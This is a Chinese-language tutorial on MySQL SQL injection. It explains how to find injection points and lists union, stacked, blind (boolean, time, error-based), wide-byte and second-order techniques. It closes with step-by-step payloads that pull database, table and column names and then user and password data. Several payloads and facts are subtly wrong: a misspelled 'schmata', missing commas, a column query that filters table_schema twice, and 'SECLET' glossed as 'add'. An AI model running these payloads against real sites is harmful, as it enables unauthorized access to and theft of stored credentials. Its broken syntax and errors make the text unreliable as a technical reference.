前言:
学习SQL注入之前首先要对数据库结构做充分了解。现有数据库有Oracle、MySQL、SQLServer、Access、MSSQL、mangdb等,但其结构大致可分为两种:access和其他。
拿accsee和MySQL数据库来举例,简单来说access数据库的每一个账户结构都是独立存在的,即每一个账户管理一个数据库:数据库名--->表名--->列名--->数据。
而MySQL数据库结构如下图,即一个MySQL数据库可以存放多个账户,并且存在一个最高权限root用户对所有账户进行统一管理。
其他几种数据库跟MySQL差不多,所以不再赘述。
因此,我们在进行SQL注入的时候要根据不同的数据库用不同方法。
此文章主要以MySQL数据库为例展开介绍。
一.MySQL数据库介绍:
常用参数:
version() | 数据库版本 |
user() | 数据库用户 |
@@version_compile_os | 操作系统 |
database() | 数据库名 |
@@datadir | 读取数据库路径 |
@@basedir | mysql安装路径 |
current_user() | 当前用户名字 |
length() | 返回字符串长度 |
group_concat() | 连接一个组的字符串 |
benchmark() | 指定语句执行的次数 |
MySQL增删改查:
SECLET | 添加 |
UPDATE | 更新 |
INSERT | 插入 |
DELETE | 删除 |
information_schema数据库下的表结构:
注:MySQL5.0以上版本自带数据库名information_schema储存数据库下的数据库名以及表名、列名信息的数据库。
二.原理及注入点类型判断:
2.1 原理:
web端页面与数据库交互时,其中的SQL语句能够通过参数传递自定义的值来实现控制SQL语句,从而执行恶意的SQL语句查询敏感数据,即用户对参数可控。
2.2 注入点类型:
数字型:
http:xxx.xxx.php?id=1 and 1=2
我们可以在id=1后边加上' and 1=2 ' ,很明显,1!=2,目的就是破环SQL语句中的逻辑结构。如果返回错误就可以进行下一步;如果正常执行也并不代表没有注入点,可以进一步判断。
字符型:
http:xxx.xxx.php?id=1' and '1' = '2
原理和判断方法跟上边一样,加 ' 是为了闭合字段,形成空字符。
因此判断注入条件:看是否有参数传递。
三.注入类型:
联合注入:
就是利用UNION SELECT语句将多个select语句的结果合并到一个结果中。
比如查询库名:
UNION SELECT schema_name 2,3,4 from information_schema.schmata;
堆叠注入:
PHP中堆叠注入主要利用mysqli_multi_query()函数实现服务器在访问数据端时同时执行多条sql语句。
比如查询users表并新建一个跟users一样的表:
select * from users where id=1;create table test like users;
可以结合其他注入方式,拼接多条SQL语句一起执行,语句之间用 ;隔开。但有其局限性,在开发测试时,往往设置只执行一条语句。
盲注:
当进行SQL注入时,目标网站在与数据库交互后,对SELECT执行语句不进行回显。因此采用一些特殊方式对目标数据库字段信息进行猜解。
主要分为布尔盲注和基于时间的盲注,基于报错的盲注三种。
布尔盲注:前端页面只返回true或false两种结果
例:猜解数据库中字段的长度是否大于10
id=1 and length((select database()))>10;
基于时间的盲注:
利用sleep()或benchmark()等函数让mysql执行时间变长并结合判断条件语if(expr1,expr2,expr3),然后通过页面的响应时间长短来判断语句返回的值是True还是False,从而猜解一些未知的字段。
例:延长某页面的响应时间5秒
http:xxx.xx.php?id=1 and sleep(5);
基于报错的盲注:
通过floor,updatexml,extractvalue等函数错误使用,使数据库强制报错来获取信息。
例:获取数据库名字
?id=1 and extractvalue(1,concat('^',(select database()),'^'));
此外,盲注中涉及的语法和函数还有很多,不一一列举。
宽字节注入:
当数据库使用的编码与语言编码不同时所造成的注入漏洞。 mysql 数据库在使用GBK编码时,会认为两个字符是一个汉字。
当输入单引号时,mysql会调用addslashes(),mysql_real_escape_string() ,mysql_escape_string()转义函数,将单引号变为’,其中\的十六进制是%5c,加上%df‘后mysql的GBK编码会认为%df%5c是一个宽字节'運',从而使单引号闭合,进行注入攻击。
例:在目标页面加上%df'时,返回页面报错,存在宽字节注入。
http:xxx.xx.php?id=1%df'
二次注入:
首先将payload插入储存到数据库中,当用户访问数据库时,payload与正常SQL语句拼接执行导致的注入漏洞。
过程:
- 先构造payload语句,并将payload语句储存在数据库中。
- 然后构造能与payload语句拼接的正常语句,使二者拼接执行。
此外还有基于提交方式的POST注入,GET注入,COOKIE注入,HTTP头部注入等,
且每种注入方式中所涉及的函数和语法不仅限于此,不在一一介绍。
四.注入过程:
1.判断注入点(具体看2.2)。
2.判断注入点列数
http:xxx.xxx.php?id=1 order by x
3.根据返回列数判断显示位置
?id=1 and 1=2 union select 1,2,3,4;
4.获取数据库名:
?id=1 and 1=2 UNION SELECT schema_name 2,3,4 from information_schema.schmata;
5.获取目标数据库名下的表名信息:
?id=1 and 1=2 UNION SELECT table_name 2,3,4 from information_schema.tables where table_schema=' 目标数据库名 ';
6.获取目标数据库下的目标表下的列名信息:
?id=1 and 1=2 UNION SELECT column_name 2,3,4 from information_schema.columns where table_schema=' 目标表名 ' and table_schema=' 目标数据库名 ';
7.获取指定数据:
?id=1 and 1=2 UNION SELECT user,password,3,4 from 目标数据库.目标表;
最后根据需要获取其他信息。